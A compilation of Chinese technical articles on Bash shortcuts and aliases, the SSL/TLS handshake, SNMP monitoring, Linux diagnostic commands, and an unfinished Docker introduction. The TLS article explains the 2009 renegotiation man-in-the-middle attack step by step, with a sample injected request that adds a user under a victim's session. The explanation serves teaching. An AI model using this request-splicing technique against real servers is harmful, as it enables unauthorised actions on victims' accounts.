Ctrl + l ：清除屏幕，同clear

	
Ctrl + a ：将光标定位到命令的开头

	
Ctrl + e ：与上一个快捷键相反，将光标定位到命令的结尾

	
Ctrl + u ：剪切光标之前的内容，在输错命令或密码

	
Ctrl + k ：与上一个快捷键相反，剪切光标之后的内容

	
Ctrl + y ：粘贴以上两个快捷键所剪切的内容。Alt+y粘贴更早的内容

	
Ctrl + w ：删除光标左边的参数（选项）或内容（实际是以空格为单位向前剪切一个word）

	Ctrl + / ：撤销，同Ctrl+x u


	Ctrl + f ：按字符前移（右向），同→


	
Ctrl + b ：按字符后移（左向），同←

	
Alt + f ：按单词前移，标点等特殊字符与空格一样分隔单词（右向），同Ctrl+→

	
Alt + b ：按单词后移（左向），同Ctrl+←

	
Alt + d ：从光标处删除至字尾。可以Ctrl+y粘贴回来

	
Alt + \ ：删除当前光标前面所有的空白字符

	
Ctrl + d ：删除光标处的字符，同Del键。没有命令是表示注销用户

	Ctrl + h ：删除光标前的字符


	Ctrl + r ：逆向搜索命令历史，比history好用


	
Ctrl + g ：从历史搜索模式退出，同ESC

	
Ctrl + p ：历史中的上一条命令，同↑

	
Ctrl + n ：历史中的下一条命令，同↓

	
Alt + .：同!$，输出上一个命令的最后一个参数（选项or单词）。

还有如Alt+0 Alt+. Alt+.，表示输出上上一条命令的的第一个单词（即命令）。

另外有一种写法 !:n，表示上一命令的第n个参数，如你刚备份一个配置文件，马上编辑它：cp nginx.conf nginx.conf，vi !:1，同vi !^。!^表示命令的第一个参数，!$最后一个参数（一般是使用Alt + .代替）。



这里提一下按字符或字符串，向左向后搜索字符串的命令：



	
Ctrl + ]　c ：从当前光标处向右定位到字符 c 处

	
Esc　Ctrl + ]　c ：从当前光标向左定位到字符 c 处。（ bind -P 可以看到绑定信息）

	
Ctrl + r　str ：可以搜索历史，也可以当前光标处向左定位到字符串 str，Esc后可定位继续编辑

	
Ctrl -s　str ：从当前光标处向右定位到字符串 str 处，Esc 退出。注意，Ctrl + S默认被用户控制 XON/XOFF ，需要在终端里执行stty -ixon或加入profile。



注意上述所有涉及Alt键的实际是Meta键，在xshell中默认是没有勾选“Use Alt key as Meta key”，要充分体验这些键带来的快捷，请在对应的terminal设置。


参考：高效操作Bash ，Bash (Unix shell) Keyboard shortcuts 。


常用alias


以下bash中别名设置我还并没有完全使用，也是个人觉得非常有用的（多了记起来也麻烦），所以收集在一起，习惯就好。
/etc/profile.d/alias.sh：


alias wl='ll | wc -l'
alias l='ls -l'
alias lh='ls -lh'
alias grep='grep -i --color' #用颜色标识，更醒目；忽略大小写
alias vi=vim
alias c='clear'  # 快速清屏
alias p='pwd'

# 进入目录并列出文件
cdl() { cd "$@" && pwd ; ls -al; }

alias ..="cdl .."
alias ...="cd ../.."   # 快速进入上上层目录
alias .3="cd ../../.." 
alias cd..='cdl ..'

# alias cp="cp -iv"      # interactive, verbose
alias rm="rm -i"      # interactive
# alias mv="mv -iv"       # interactive, verbose

alias psg='ps aux | grep -v grep | grep -i --color' # 查看进程信息

alias hg='history|grep'

alias netp='netstat -tulanp'  # 查看服务器端口连接信息

alias lvim="vim -c \"normal '0\""  # 编辑vim最近打开的文件

alias tf='tail -f '  # 快速查看文件末尾输出

# 自动在文件末尾加上 .bak-日期 来备份文件，如 bu nginx.conf
bak() { cp "$@" "$@.bak"-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@"; }

# 级联创建目录并进入，如 mcd a/b/c
mcd() { mkdir -p $1 && cd $1 && pwd ; }

# 查看去掉#注释和空行的配置文件，如 nocomm /etc/squid/squid.conf
alias nocomm='grep -Ev '\''^(#|$)'\'''

# 快速根据进程号pid杀死进程，如 psid tomcat， 然后 kill9 两个tab键提示要kill的进程号
alias kill9='kill -9';
psid() {
  [[ ! -n ${1} ]] && return;   # bail if no argument
  pro="[${1:0:1}]${1:1}";      # process-name –> [p]rocess-name (makes grep better)
  ps axo pid,user,command | grep -v grep |grep -i --color ${pro};   # show matching processes
  pids="$(ps axo pid,user,command | grep -v grep | grep -i ${pro} | awk '{print $1}')";   # get pids
  complete -W "${pids}" kill9     # make a completion list for kk
}

# 解压所有归档文件工具
function extract {
 if [ -z "$1" ]; then
    # display usage if no parameters given
    echo "Usage: extract <path/file_name>.<zip|rar|bz2|gz|tar|tbz2|tgz|Z|7z|xz|ex|tar.bz2|tar.gz|tar.xz>"
 else
    if [ -f $1 ] ; then
        # NAME=${1%.*}
        # mkdir $NAME && cd $NAME
        case $1 in
          *.tar.bz2)   tar xvjf $1    ;;
          *.tar.gz)    tar xvzf $1    ;;
          *.tar.xz)    tar xvJf $1    ;;
          *.lzma)      unlzma $1      ;;
          *.bz2)       bunzip2 $1     ;;
          *.rar)       unrar x -ad $1 ;;
          *.gz)        gunzip $1      ;;
          *.tar)       tar xvf $1     ;;
          *.tbz2)      tar xvjf $1    ;;
          *.tgz)       tar xvzf $1    ;;
          *.zip)       unzip $1       ;;
          *.Z)         uncompress $1  ;;
          *.7z)        7z x $1        ;;
          *.xz)        unxz $1        ;;
          *.exe)       cabextract $1  ;;
          *)           echo "extract: '$1' - unknown archive method" ;;
        esac
    else
        echo "$1 - file does not exist"
    fi
fi
}

# 其它你自己的命令
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'



要去掉别名，请用unalias aliasname，或者临时执行不用别名，执行原始命令\alias 。


参考： 30 Handy Bash Shell Aliases For Linux


欢迎补充评论补充~




原文链接地址：http://seanlook.com/2014/03/09/linux-bash/





 SSL/TLS 协议简介与实例分析

作者：Drinkey
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作者：drinkey


以前读RFC时总结的一篇文章，主要介绍了SSL/TLS协议的相关知识，包括协议本身以及简单的密码学概念，以及用实例解析了HTTP over SSL的协商过程，在最后简要列出了SSL的安全问题。


1. RFC documents about SSL/TLS


RFC-2246: The TLS Protocol Version 1.0


详细讲述了TLS1.0的协议，TLS协议提供了一种Internet安全通信方式，该协议允许客户端和服务端通信，并保证消息不被监听，篡改和伪造。


RFC-2818: HTTP Over TLS


描述了如何使用TLS协议来保证HTTP通信的安全性


RFC-3749: Transport Layer Security Protocol Compression Methods


描述了TLS压缩的几种方式


RFC-5216: The EAP-TLS Authentication Protocol


EAP-TLS认证协议


RFC-5246: The Transport Layer Security (TLS) Protocol Version 1.2


TLS1.2协议文档，在RFC2246基础上有所发展


2. SSL/TLS简介


最初SSL协议是由netscape开发，并集成到浏览器中，用于保护HTTP传输安全性，作为在传输层和应用层之间的一层，对更多的需要保护数据安全性的协议进行封装。IETF以SSL协议为基础，提出了一种新的协议：TLS，建立在SSL V3.0的基础上，是SSL 3.0的后续版本，已经开始在实际应用中使用。


虽然TLS和SSL不能互操作，仅仅是因为他们使用的加密算法和MAC算法不同，协议本身差别非常细微。RFC-2246是IETF提出的第一个版本，被称作TLS v1.0，目前最新的版本是TLS v1.2，在RFC-5246中描述了其细节问题。


以下根据RFC5246，介绍SSL


3. SSL协议组成


协议由两层构成：TLS Record Protocol和TLS Handshake Protocol。


TLS Record Protocol处于较低的一层，基于一些可信任的协议，如TCP，为高层协议提供数据封装、压缩、加密等基本功能的支持。它保证了通信的两个基本安全属性：



	1．保密连接。数据传输使用对称加密算法，如AES，RC4等，该对称加密算法的密钥对于每个连接是唯一的，基于密钥协商协议生成，比如TLS handshake protocol，Record Protocol也可以不使用加密。


	2．可信连接。消息的传输包括了基于密钥的消息认证码（keyed MAC），使用安全Hash函数计算MAC，用于完整性检查。Record Protocol也可以不使用MAC，但是这种模式只用于安全参数协商时。




Record Protocol用于封装多种高层的协议，其中一个种就是TLS handshake protocol，这种协议允许客户与服务器相互认证，在应用程序通信前，协商加密算法和加密密钥。TLS handshake protocol保证了连接的三个基本安全属性：



	1．两端的身份可以通过非对称或者公钥加密算法（DSA，RSA等）进行认证。认证过程是可选的，但至少要求一端被认证。 

	2．共享密钥的协商是安全的。密钥协商对于监听者和任何被认证的连接都是不可见的。 

	3．协商是可信的。攻击者无法修改协商信息。



TLS协议提供的服务主要有：



	1）认证用户和服务器，确保数据发送到正确的客户机和服务器；

	2）加密数据以防止数据中途被攻击者监听；

	3）维护数据的完整性，确保数据在传输过程中不被攻击者篡改。 



TLS协议在协议栈中如下图所示：





TLS协议对数据的封装如下图所示：





4. HTTP over SSL实例分析


为了便于更好的认识和理解SSL协议，这里着重介绍SSL协议的握手协议，mail.qq.com支持SSL协议，以下结合实例，介绍SSL握手协议。数据包使用Wireshark抓取。对于文中提到的密码学术语，在文章第5节有简单解释，可对照阅读。


SSL 协议既用到了非对称公钥加密技术又用到了对称加密技术，对称加密技术使用于Record层，用于对传输的数据进行加密，公钥加密技术使用于Handshake协议，提供了身份认证的功能。


SSL 的握手协议非常有效的让客户和服务器之间完成相互之间的身份认证，本实例中只有客户端验证服务端，服务端并没有对客户端进行验证，一般相互进行身份认证的情况在登录银行系统时会用到。


下面根据抓取到的数据包，分析浏览器访问mail.qq.com时使用SSL协议的过程：






	①客户端的浏览器向服务器提出TCP连接请求，建立起TCP连接后，客户端向服务端发送Client Hello消息，传送客户端 SSL 协议的版本号，加密算法的种类，以及其他服务器和客户端之间通讯所需要的各种信息。Client Hello消息的内容如下图所示：






Cipher Specs字段是一个枚举类型，说明了客户端所支持算法，每个Cipher Spec指定了一个加密组合，从下图可以看出，SSL与TLS的很显著的区别就是，TLS支持了更多更先进更安全的加密组合，如下图所示：






	②服务端收到建立SSL连接的请求后，向客户端传送 SSL 协议的版本号，加密算法的种类，随机数以及其他相关信息，同时服务器还将向客户端传送自己的证书。如下图所示：






Random是服务端产生的随机数，根据一个随机种子生成，这里的随机种子是gmt_unix_time，根据这个时间，使用伪随机数函数（PRF）生成一个32字节的random_bytes。


Session ID是一组任意字节数的序列，由server选出，用于识别连接是活动状态还是可恢复状态。


Cipher Suite指定了服务端选定的加密组合，这里选出的加密组合是TLS_RSA_WITH_AES_256_CBC_SHA，RSA作为认证算法，256位的AES分组加密算法作为Record层加密payload使用的算法，SHA作为消息认证码算法，用于保证消息的完整性，防止消息被篡改。


Compress Method表明了使用的压缩算法，Record层接收高层协议的数据时，会将数据进行分片，前面已经提到过，对于每个分片可以选择使用一定压缩算法来提高加密和传输效率，这里没有使用压缩算法，所以是null。


接着，服务端返回了证书，证书使用x.509格式，供客户端验证其身份，同时发送一个Server Hello Done消息。如下图所示：






	③客户利用服务器传过来的信息验证服务器的合法性，服务器的合法性包括：证书是否过期，发行服务器证书的 CA 是否可靠，发行者证书的公钥能否正确解开服务器证书的“发行者的数字签名”，服务器证书上的域名是否和服务器的实际域名相匹配。如果合法性验证没有通过，通讯将断开；如果合法性验证通过，将继续进行第四步。


	④用户端随机产生一个用于后面通讯的密钥，然后用服务器的公钥（服务器的公钥从步骤②中的服务器的证书中获得）对其加密，然后将加密后的“预主密钥”传给服务器（Client key exchange）。该过程内容如下图所示：







由于预主密钥的传输使用RSA进行了加密，所以无法在抓取的数据包中显示出来（在上图中的Encrypted Handshake Message），从而保证了握手过程的保密性。



	⑤如果服务端要求客户的身份认证（在握手过程中为可选，本例中没有该步骤），用户可以建立一个随机数然后对其进行数据签名，将这个含有签名的随机数和客户自己的证书以及加密过的预主密码（Premaster secret）一起传给服务端。


	
⑥如果服务端要求客户的身份认证，服务端必须检验客户证书和签名随机数的合法性，具体的合法性验证过程包括：客户的证书使用日期是否有效，为客户提供证书的CA 是否可靠，发行CA 的公钥能否正确解开客户证书的发行 CA 的数字签名，检查客户的证书是否在证书废止列表（CRL）中。检验如果没有通过，通讯立刻中断；如果验证通过，服务端将用自己的私钥解开加密的预主密码，然后执行一系列步骤来产生主密钥（Master secret）（客户端也将通过同样的方法产生相同的主通讯密码）。


如果服务端没有进行步骤5，服务端端收到客户端发送的使用服务端公钥加密的预主密钥，用私钥解开加密的预主密钥，执行一系列函数，生成会话的主密钥，客户端也进行相同的操作生成主密钥。



	⑦服务器和客户端拥有了相同的主密钥，双方使用之前协商的对称加密算法，并使用主密钥作为密钥，用于 SSL 协议的安全数据通讯的加解密通讯。同时在 SSL 通讯过程中还要维护数据通信的完整性，防止数据通讯中的任何变化，通过消息认证码来保证。


	⑧客户端向服务器端发出信息（Change cipher spec），指明后面的数据通讯将使用的步骤⑦中的主密码为对称密钥，同时通知服务器客户端的握手过程结束。


	⑨服务器向客户端发出信息（Change Cipher Spec），指明后面的数据通讯将使用的步骤⑦中的主密码为对称密钥，同时通知客户端服务器端的握手过程结束。


	⑩SSL 的握手部分结束，SSL 安全通道的数据通讯开始，客户和服务器开始使用相同的对称密钥进行数据通讯，同时进行通讯完整性的检验。该过程的数据包如下图所示：







从此过程开始，TLS Record层使用Application Data Protocol通信，其Content-type字段变为HTTP，这个字段记录了上层协议的协议类型，以便数据提交到对方的TLS Record层后，对数据进行组装，并交付给上层协议处理。





5. 密码学知识简单介绍


以上详细阐述了基于TLS的HTTP协议（HTTPS）客户端与服务端建立连接和握手的过程，以下对一些用到的密码知识作为补充，进行简单的介绍：


PRF：伪随机数生成函数，用于生成任意大小的随机序列。一般使用时间作为初始化的随机种子，通过PRF生成随机序列，如果序列的长度不符合要求，则使用Hash函数对序列进行散列运算，经过几轮迭代知道序列长度满足要求为止。一个好的PRF可以保证序列的随机性最大化，防止猜测。


对称加密算法：如AES，DES，RC4。加密和解密的两个过程使用相同的密钥，通过加密和解密函数对数据进行操作，从而达到加密数据和解密数据的目的。


公钥加密算法：如DSA，RSA。通信双方共享各自的公钥，传输时使用对方的公钥对数据进行加密，接收方收到后，用自己的私钥对数据进行解密。公钥加密算法也被称为非对称加密算法，因为加密和解密使用不同的密钥。公钥算法的数学依据是大素数的分解问题，理论上很难分解一个足够大素数。常做认证和签字用。


分组密码：很多对称加密算法都是分组加密，先将需要加密的数据进行分组和填充，再将每个分组使用加密函数进行加密，经过一些置换和迭代，得到固定长度的输出。


Hash函数：如SHA，MD5。散列函数，具有单向性。散列函数对消息进行摘要，并经过迭代，得到固定长度的输出。消息的一个字节的变化对Hash函数的输出都会有很大的影响。


MAC：消息认证码，由Hash函数对消息进行摘要得到，由于Hash函数的特性，可以提供对消息完整性的验证，一般随消息一起发出。


TLS协议大量的使用了以上密码算法，从而保证了数据的完整性和保密性，密码学是TLS协议安全的基础，任何一种使用到的密码算法被破解，将直接影响TLS协议的安全性。


6. SSL/TLS Security Issues


TLS协议并不是牢不可破的，使用了TLS的HTTP协议不一定安全。由于TLS协议中有很多可选项，甚至可以选择Record层是否使用加密，如果没有很好的配置，那么TLS也不能保证传输的安全性。


2009 blackhat con中Marsh Ray提到了Renegotiating TLS attack，由于TLS renegotiating的逻辑漏洞，造成在理想环境下，可以实施中间人攻击，这个攻击是非常巧妙的，主要是利用了TLS/SSL 3.0重置加密算法机制和HTTP协议请求头的key、value结构，实现了多次数据的组合以完成自己想要的请求。


主要步骤如下：



	1). 攻击者连接目标站点完成SSL握手称为session 1，并发送GET /adduser.jsp?u=test&passwd=123 HTTP/1.1\r\nFVCK: 之类的数据包。


	2). 攻击者劫持被攻击者访问目标站点的数据，在session 1中转发被攻击者与目标服务器之间的SSL握手，被攻击者和目标服务器完成握手称为session 2。


	3). 目标站点和被攻击者通过攻击者的转发完成握手，在session 2中被攻击者发送自己的请求数据到目标服务器，类似于GET / HTTP/1.1\r\nHost: www.xxx.com\r\nAccept: */*\r\nCookie: admin=1\r\n\r\n之类的数据。


	4). 目标站点在一个SSL Session 1中接收到一个新的SSL Client Hello时，会认为客户端是在要求重新生成密钥，因为在目标服务器看来session 2也是攻击者发过来的，而且是相同的TCP session中。最终导致目标服务器认为session 2是session 1密钥重置之后的延续，会将两次的数据组合到一起。


	5). 最终数据如下：GET /adduser.jsp?u=test&passwd=123 HTTP/1.1\r\nFVCK: GET / HTTP/1.1\r\nHost: www.xxx.com\r\nAccept: */*\r\nCookie: admin=1\r\n\r\n。FVCK字段服务器不认识，真实请求GET / HTTP/1.1当成了FVCK字段的值，一起被忽略掉，攻击者成功的执行了添加WEB系统用户的操作




详细介绍参照Marsh Ray的原作：


http://extendedsubset.com/Renegotiating_TLS.pdf


文档的最后展示了中间人攻击的结果，成功获得了TLS协议上层协议的内容。


2014年Google公布了SSLv3的漏洞，CVE­-2014-3566，代号POODLE(Padding Oracle On Downgraded Legacy Encryption)，目前只有通过服务端禁用SSLv3.0协议来防止此攻击的发生。


知名的开源安全软件OpenSSL同样在2014年同样也爆出了Heart bleed漏洞，造成攻击者可以直接读取内存中的数据。


 使用基于SNMP的监控服务来获得服务器信息

作者：gitmilk

来源： 使用基于SNMP的监控服务来获得服务器信息



                    
监控的必要性


首先我们要明确，服务器的监控是必要的。服务器在运行过程中可能遇到各种问题，及时对服务器的状态信息以及历史的状态信息有一个掌握十分重要。比如程序的异常崩溃，如果在事后分析的时候有一个崩溃时系统CPU、内存、网络占用登的图表可供查阅，对照日志进行分析，往往比自己胡乱猜测原因要好得多。


常用的监控服务


自己有多的服务器可以用来搭建监控服务的话，likexian的stathub-go项目是一个不错的选择。不仅安装简单，界面也十分的友好。

如果自己手上没有多的服务器，或者感觉自己维护一个监控服务器是个麻烦事，也可以尝试使用nodequery的服务。nodequery为每个账户提供监控10个服务器的免费限额，客户端一句命令就能安完。它可以在服务器的CPU占用、内存占用或者硬盘占用超过设定的阀值的时候给你发邮件提示，更让人称赞的是，在邮件中会附带当前占用最高的进程列表。nodequery的监控频率最低为三分钟一次，在监控面板中可以看到一段时间内它的三个监控节点到服务器的延迟情况。


那SNMP又是干嘛的


简单来说，SNMP是一个通用的网络管理协议。通过它，我们可以获取到服务器的信息。

无论是自建stathub-go还是使用nodequery，都是使用自己编写的客户端向监控服务器提供数据。这样的好处是可以获得更详尽的信息，比如nodequery可以列出现在服务器上运行的程序已经它们的CPU、内存占用情况。不过不可避免的是，少量人员维护的第三方客户端存在可以被利用漏洞的可能性更高。同时，在不同系统的服务器上批量部署监控服务时，可能因为客户端的兼容问题而头疼。

使用SNMP作为客户端能很好的解决上面的问题。一方面，SNMP作为通用协议，存在漏洞的可能性非常小，一旦出现漏洞，修复的速度也会非常的快；另一方面，作为通用协议，SNMP在各个平台都有完备的解决方案，不用再为可能的兼容问题而头疼。


怎么用呢


监控宝貌似就支持SNMP，不过它对免费账户的限制稍稍有些严（如果是公司出钱，它真是不错的选择）。我们以另一个SNMP监控服务微林为例。


首先在服务器上配置SNMP服务，我的服务器系统是CentOS 6 x86。

执行 yum install net-snmp -y 安装SNMP。

安装完成后，执行 echo ''>/etc/snmp/snmpd.conf 将默认设置清空。

执行 vim /etc/snmp/snmpd.conf ，按i进入编辑模式，将以下内容粘贴进去：


com2sec vnet 192.99.12.76 publictogo
group vnetGroup v2c vnet
access vnetGroup "" any noauth prefix all none none
view all included .1 80



其中publictogo是个人的密匙，推荐改成自己的。

修改完按 Esc 退出编辑模式，输入:wq敲回车保存并退出。

执行 service snmpd start 启动SNMP服务。


然后进到微林的vDog管理页面，点击创建项目，在新弹出的框里输入主机的名称（方便识别的备注名称）、IP和刚刚修改的密匙，点击提交，之后这台服务器就会出现在它的管理界面中，隔几分钟再刷新就可以看到数据刷新了。


贴两张转来的效果图，服务器多的话整整齐齐的看起来还是蛮赏心悦目的。








微林的监控是免费的，貌似没有任何限制。不过我没找到像nodequery那种过载发邮件报警的选项，不知道之后会不会更新功能。现在的话主要是查看历史方便吧。


大家如果有好用的监控服务请务必在评论里告诉我 :-)


 实用Linux命令(二)

作者：管宜尧

来源： 实用Linux命令(二)



                    
上接 实用Linux命令(一)。





查看Linux的版本（Red Hat/Cent OS）


在RedHat和Cent OS下，使用如下命令查看当前系统的版本。


$ cat /etc/centos-release 
CentOS release 6.3 (Final)



time命令： 统计程序执行时间


用于统计程序执行时间，这些事件包含程序从被调用到终止的时间，用户CPU时间，系统CPU时间。


$ time ls
bakup                PDO-1.0.3.tgz     rinetd.tar.gz     yaf-2.2.9.tgz
channel.xml          package2.xml      PDO_MYSQL-1.0.2      xhprof-0.9.4      zendopcache-7.0.3
go-pear.phar         package.xml       PDO_MYSQL-1.0.2.tgz  xhprof-0.9.4.tgz  zendopcache-7.0.3.tgz
PDO-1.0.3            rinetd            yaf-2.2.9

real    0m0.002s
user    0m0.000s
sys 0m0.001s



tee命令


tee命令用于将标准输入拷贝到标准输出。


$ echo "hello,world"|tee -a test.txt



上述命令将hello,world字符串输出到test.txt文件中,-a 默认情况下，tee命令会使用>覆盖输出到文件，使用-a属性，会使用>>追加方式


netstat命令


查看端口占用情况


# netstat -apn




	
-a（--all） 显示所有的socket信息（包括监听和未监听）

	
-p（--program） 显示每个socket所属于的进程名称和PID

	
-n（--numeric） 显示数字形式的地址而不是符号化的主机名、端口或者用户名



perf命令


perf命令是随Linux内核代码一同发布和维护的性能诊断工具，由内核社区负责维护和发展。Perf不仅可以用于应用程序性能统计分析，也可以应用于内核代码的的性能统计和分析。


在Cent OS系统上，如果没有该命令的话，可以使用yum进行安装。


# yum install perf



perf命令非常强大，详细介绍的话篇幅比较长，可以阅读这篇文章 Perf -- Linux下的系统性能调优工具。


用法: perf [--version] [--help] COMMAND [ARGS]

 最常用的perf命令:
   annotate        读取perf.data (使用perf record创建)文件并且显示标注的代码
   archive         Create archive with object files with build-ids found in perf.data file
   bench           进行基准测试的框架工具集
   buildid-cache   Manage build-id cache.
   buildid-list    List the buildids in a perf.data file
   diff            Read perf.data files and display the differential profile
   evlist          List the event names in a perf.data file
   inject          Filter to augment the events stream with additional information
   kmem            Tool to trace/measure kernel memory(slab) properties
   kvm             Tool to trace/measure kvm guest os
   list            列出所有事件类型的符号
   lock            分析锁事件
   mem             分析对内存的访问
   record          运行一个命令并且记录它的分析结果到perf.data文件中
   report          读取perf.data文件并且显示分析结果
   sched           Tool to trace/measure scheduler properties (latencies)
   script          Read perf.data (created by perf record) and display trace output
   stat            运行一个命令并且收集性能计数统计信息
   test            运行可用性测试
   timechart       Tool to visualize total system behavior during a workload
   top             系统分析工具.
   trace           受strace启发创建的工具
   probe           定义一个新的动态跟踪点

 See 'perf help COMMAND' for more information on a specific command.



perf stat


perf stat通过概括精简的方式提供被调试程序运行的整体情况和汇总数据。


创建如下C程序test.c


#include <stdio.h>

int main()
{
    int i = 1;
    while (1) {
        if (i == 100000) break;
        i ++;
    }
    return 0;
}



编译gcc test.c -o test。


$ perf stat ./test

 Performance counter stats for './test':

          0.837322 task-clock                #    0.747 CPUs utilized          
                 1 context-switches          #    0.001 M/sec                  
                 0 CPU-migrations            #    0.000 M/sec                  
                98 page-faults               #    0.117 M/sec                  
           269,259 cycles                    #    0.322 GHz                     [90.39%]
           897,270 stalled-cycles-frontend   #  333.24% frontend cycles idle   
           226,746 stalled-cycles-backend    #   84.21% backend  cycles idle   
           764,602 instructions              #    2.84  insns per cycle        
                                             #    1.17  stalled cycles per insn
           267,843 branches                  #  319.881 M/sec                  
             3,467 branch-misses             #    1.29% of all branches         [80.37%]

       0.001121130 seconds time elapsed



第一个task-clock是CPU利用率，该值比较高，说明该程序属于CPU密集型。第二个context-switches是进程上下文切换次数，频繁的切换次数应该是要避免的。


perf top


用于实时显示当前系统的性能统计信息。该命令主要用来观察整个系统当前的状态，比如可以通过查看该命令的输出来查看当前系统最耗时的内核函数或某个用户进程。



  执行该命令需要root权限。




使用方法如下


$ sudo perf top



程序会与top命令类似，动态输出以下内容


Samples: 1K of event 'cpu-clock', Event count (approx.): 8071695
 39.60%  [kernel]             [k] __do_softirq
 13.46%  [kernel]             [k] _raw_spin_unlock_irqrestore
  9.37%  [kernel]             [k] VbglGRPerform
  8.47%  [kernel]             [k] e1000_xmit_frame
  6.01%  [kernel]             [k] finish_task_switch
  5.82%  [kernel]             [k] e1000_clean
  5.15%  [kernel]             [k] native_read_tsc
  4.75%  [kernel]             [k] kmem_cache_free
  1.32%  [kernel]             [k] tick_nohz_idle_enter
  1.28%  libc-2.17.so         [.] __strstr_sse2
  1.22%  libc-2.17.so         [.] __memset_sse2
  0.82%  libc-2.17.so         [.] __GI___strcmp_ssse3
  0.42%  libpython2.7.so.1.0  [.] 0x000000000007e7c6
  0.42%  libc-2.17.so         [.] __strchrnul
  0.39%  [kernel]             [k] e1000_alloc_rx_buffers
  0.38%  libz.so.1.2.7        [.] 0x0000000000002d76
  0.24%  [kernel]             [k] tick_nohz_idle_exit
  0.21%  [kernel]             [k] kfree



perf report/record


使用 top 和 stat 之后，您可能已经大致有数了。要进一步分析，便需要一些粒度更细的信息。比如说您已经断定目标程序计算量较大，也许是因为有些代码写的不够精简。那么面对长长的代码文件，究竟哪几行代码需要进一步修改呢？这便需要使用 perf record 记录单个函数级别的统计信息，并使用 perf report 来显示统计结果。


创建新的C程序test3，代码如下


#include <stdio.h>

void test();

int main()
{
  test();
  return 0;
}

void test()
{
  long i;
  for (i = 0; i < 10000000; i ++) {

  }
  puts("finished");
}



编译后，执行如下命令


$ perf record ./test3
$ perf report



输出以下内容


Samples: 68  of event 'cpu-clock', Event count (approx.): 17000000
 97.06%  test3  test3              [.] test
  1.47%  test3  [kernel.kallsyms]  [k] __do_softirq
  1.47%  test3  [kernel.kallsyms]  [k] queue_work_on



从中可以看到，大部分时间都消耗在了test函数中。



  perf record命令增加-g参数可以记录函数的调用图信息。更多详情参考: Perf -- Linux下的系统性能调优工具




lsof命令: 列出打开的文件


工具lsof是一个可以列出操作系统打开的文件的工具，在Linux系统中，任何事物都是以文件的形式存在，通过文件不仅可以访问常规文件，还可以访问网络连接和硬件设备。


在终端下直接输入lsof命令，会列出当前系统打开的所有文件，因为它需要列出核心内存和各种文件，所以必须使用root用户运行才能显示详细的信息。


COMMAND     PID      USER   FD      TYPE             DEVICE  SIZE/OFF       NODE NAME
init          1      root  cwd       DIR              253,0      4096          2 /
init          1      root  rtd       DIR              253,0      4096          2 /
init          1      root  txt       REG              253,0    150352      10973 /sbin/init
init          1      root  mem       REG              253,0     65928     264638 /lib64/libnss_files-2.12.so
init          1      root  mem       REG              253,0   1922112     265339 /lib64/libc-2.12.so
init          1      root  mem       REG              253,0     93224     277540 /lib64/libgcc_s-4.4.6-20120305.so.1
init          1      root  mem       REG              253,0     47064     267086 /lib64/librt-2.12.so
...



这里的COMMAND是进程名称，PID,USER分别指的是进程的ID和进程所有者，FD是文件描述符，TYPE是文件类型，DEVICE是磁盘名称，SIZE是文件大小，NODE是索引节点（文件在磁盘上的标识），NAME是打开文件的确切名称。


对于FD的值，cwd表示当前工作目录，Lnn表示类库引用，mem表示内存映射文件，rtd表示根目录，pd表示父目录，txt表示进程的数据和代码。


常用参数及说明



	lsof filename 显示打开指定文件的所有进程

	lsof -a 表示两个参数都必须满足时才显示结果

	lsof -c string 显示COMMAND列中包含指定字符的进程所有打开的文件

	lsof -u username 显示所属user进程打开的文件

	lsof -g gid 显示归属gid的进程情况

	lsof +d /DIR/ 显示目录下被进程打开的文件

	lsof +D /DIR/ 同上，但是会搜索目录下的所有目录，时间相对较长

	lsof -d FD 显示指定文件描述符的进程

	lsof -n 不将IP转换为hostname，缺省是不加上-n参数

	lsof -i 用以显示符合条件的进程情况

	lsof -p PID 选择指定PID

	lsof -i[46] [protocol][@hostname|hostaddr][:service|port]

46: IPv4 or IPv6

protocol: TCP or UDP

hostname: Internet host name

hostaddr: IPv4地址

service: /etc/service中的 service name (可以不只一个)

port: 端口号 (可以不只一个)




  参考: 百度文库




 8 个你可能不知道的 Docker 知识

作者：大舒

来源： 8 个你可能不知道的 Docker 知识



                    

  Docker 这个工具已经出现很长一段时间了，但是可能还有很多人对 Docker 的概念不太清楚，因此这次翻译 8 个你可能不知道的 Docker 知识 这篇文章，和大家介绍一下生产环境中的 Docker 用例。




自从上世纪 90 年代硬件虚拟化被主流的技术广泛普及之后，对数据中心而言，发生的最大的变革莫过于容器和容器管理工具，例如：Docker。在过去的一年内，Docker 技术已经逐渐走向成熟，并且推动了大型初创公司例如 Twitter 和 Airbnb 的发展，甚至在银行、连锁超市、甚至 NASA 的数据中心都赢得了一席之地。当我几年前第一次直到 Docker 的时候，我还对 Docker 的未来持怀疑的态度，我认为他们是把以前的 Linux 容器的概念拿出来包装了一番推向市场。但是使用 Docker 成功进行了几个项目 例如 Spantree 之后，我改变了我的看法：Docker 帮助我们节省了大量的时间和经历，并且已经成为我们技术团队中不可或缺的工具。


GitHub 上面每天都会催生出各式各样的工具、形态各异的语言和千奇百怪的概念。如果你和我一样，没有时间去把他们全部都测试一遍，甚至没有时间去亲自测试 Docker，那么你可以看一下我的这篇文章：我将会用我们在 Docker 中总结的经验来告诉你什么是 Docker、为什么 Docker 会这么火。


Docker 是容器管理工具


Docker 是一个轻量级、便携式、与外界隔离的容器，也是一个可以在容器中很方便地构建、传输、运行应用的引擎。和传统的虚拟化技术不同的是，Docker 引擎并不虚拟出一台虚拟机，而是直接使用宿主机的内核和硬件，直接在宿主机上运行容器内应用。也正是得益于此，Docker 容器内运行的应用和宿主机上运行的应用性能差距几乎可以忽略不计。


但是 Docker 本身并不是一个容器系统，而是一个基于原有的容器化工具 LXC 用来创建虚拟环境的工具。类似 LXC 的工具已经在生产环境中使用多年，Docker 则基于此提供了更加友好的镜像管理工具和部署工具。


Docker 不是虚拟化引擎


